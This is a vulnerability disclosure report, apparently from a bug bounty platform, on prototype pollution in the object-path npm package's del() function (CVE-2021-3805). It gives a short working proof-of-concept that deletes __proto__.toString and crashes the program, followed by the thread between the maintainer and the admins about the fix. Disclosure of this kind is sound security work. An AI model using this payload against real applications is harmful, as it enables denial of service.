

Prototype Pollution in mariocasciaro/object-path

Valid Reported on Sep 13th 2021

0

Description

`object-path` package is vulnerable to Prototype Pollution. The `del()` function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like `toString` on all objects.

Proof of Concept

Create the following PoC file:

```
// PoC.js
const objectPath = require('object-path');
console.log("Before : " + ({}).toString());
objectPath.withInheritedProps.del({}, '__proto__.toString');
console.log("After : " + ({}).toString());
```

Execute the following commands in the terminal:

```
npm i object-path # Install affected module
node poc.js # Run the PoC
```

Check the Output:

```
Before : [object Object]
console.log("After : " + ({}).toString());
                                     ^
TypeError: {}.toString is not a function
```

Impact

Affected versions of this package are vulnerable to Denial of Service (DoS) via the del function.

CVE
CVE-2021-3805
(Published)

Vulnerability Type
CWE-1321: Prototype Pollution


Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

 ready-research
@ready-research
pro

This report was seen 654 times.

- We created a [GitHub Issue](#) asking the maintainers to create a SECURITY.md

a year ago
- ready-research

a year ago

Researcher
- @admin please see the comment in <https://github.com/mariocasciaro/object-path/issues/113>
- Z-Old

a year ago

Admin
- Hey ready-research, I've emailed the maintainer for you.

We have contacted a member of the [mariocasciaro/object-path](#) team and are waiting to hear back. a year ago

[mariocasciaro](#) a year ago Maintainer

@admin there is a duplicate of this report

[ready-research](#) a year ago Researcher

@mariocasciaro Can you please validate this report?

Use the [mark as valid](#) button to confirm this issue and confirm a fix when a fix is merged. Thank you.

[Jamie Slome](#) a year ago Admin

@mariocasciaro - if you believe reports to be duplicate, feel free to mark them as invalid.

[mariocasciaro](#) a year ago Maintainer

@admin They were both opened on the same day, which one should I mark as invalid?

[Jamie Slome](#) a year ago Admin

This report was opened first, and so it would only be fair to reward this disclosure if the other is considered a duplicate.

I would recommend marking the other report as invalid and providing the reason as duplicate.

[mariocasciaro](#) a year ago Maintainer

OK, thanks for the help. As a possible improvement to the platform it would be nice to see also the time when the disclosure was opened, not just the date.

[Jamie Slome](#) a year ago Admin

@mariocasciaro - thanks for the request - we can sort this out for you!

[mariocasciaro](#) validated this vulnerability a year ago

[ready-research](#) has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

[mariocasciaro](#) a year ago Maintainer

A fix will be produced today.

[mariocasciaro](#) marked this as fixed with commit [e6bb63](#) a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

[mariocasciaro](#) a year ago Maintainer

@admin will this get a CVE assigned automatically?

[Jamie Slome](#) a year ago Admin

Yes, it has already been assigned and will be published shortly!

[Jamie Slome](#) a year ago Admin

CVE published! 🎉

[CVE-2021-3805](#)

Sign in to join this conversation

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)